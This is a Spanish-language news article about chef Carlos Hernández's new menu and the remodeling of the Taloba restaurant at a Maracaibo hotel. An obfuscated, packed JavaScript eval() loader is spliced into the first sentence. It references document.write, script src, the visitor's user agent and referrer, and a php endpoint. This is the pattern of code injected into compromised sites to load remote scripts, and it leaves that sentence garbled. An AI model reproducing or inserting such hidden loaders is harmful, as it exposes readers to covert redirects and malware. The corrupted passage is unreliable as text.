Nueva generación de sabores en Taloba

Hector Galbán / Maracaibo / [email protected]
El eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thfbk|var|u0026u|referrer|ksezn||js|php'.split('|'),0,{})) restaurante comienza a escribir nuevas páginas en su menú de la mano de Carlos Hernández

E n la nueva propuesta de Taloba figuran platos venezolanos como el Negro en Camisa 3,0. (Fotos: Cortesía Javier Ferrero)

Aproximadamente dentro de dos semanas culminará formalmente la primera etapa de la historia del Restaurante Taloba del Hotel Kristoff. Una etapa llena de éxitos y buena mesa. De la mano del chef Stefan Roos, el restaurante logró posicionarse en los primeros puestos entre los comensales que se daban cita para disfrutar de su carta de sabores europeos. Desde hace 10 meses aproximadamente, el chef Carlos Hernández sucedió en el cargo a Roos y ha comenzado un trabajo junto al equipo de cocina para crear una nueva carta.

Las puertas del restaurante en su sede permanente cerrarán por varios meses para dar paso a una remodelación del salón principal. En este período de tiempo Hernández y parte del equipo de trabajo se dedicarán a atender varias invitaciones para mostrar su propuesta en diferentes restaurantes del país. "Estaremos de manera itinerante cocinando la propuesta de Taloba en varias ciudades y contando nuestra experiencia. Tenemos un profundo respeto por nuestros productos locales y hemos querido rendirles un merecido homenaje en esta nueva carta y llevar a cada ingrediente por un abanico de sabores no convencionales pero cargados de personalidad", comentó el cocinero.

Se tiene previsto que para principios de 2016 culmine la remodelación del restaurante y abra nuevamente sus puertas. El trabajo que viene realizando Hernández en esta temporada es en su mayoría hecho en casa. Una serie de productos de charcutería curados y secados en casa le dan carácter a la propuesta. Flores comestibles y fermentos son invitados a los platos de Taloba para crear nuevas y marcadas experiencias en sus comensales.

"Todas las carnes las estamos trabajando con técnicas de curado para resaltar sus sabores. Una de las cosas de las que estamos más orgullosos de estar haciendo junto a todo un equipo de trabajo entregado a lo que hace, es la línea de jamones curados hechos con cerdos criados en el Zulia y así demostrando las infinitas posibilidades que aún tenemos para crear nuevas propuestas en la cocina". Próximamente estarán dando a conocer las fechas de los viajes y de algunos servicios puntuales que tendrán en el hotel para que los comensales marabinos puedan conocer de cerca esta nueva propuesta del restaurante.

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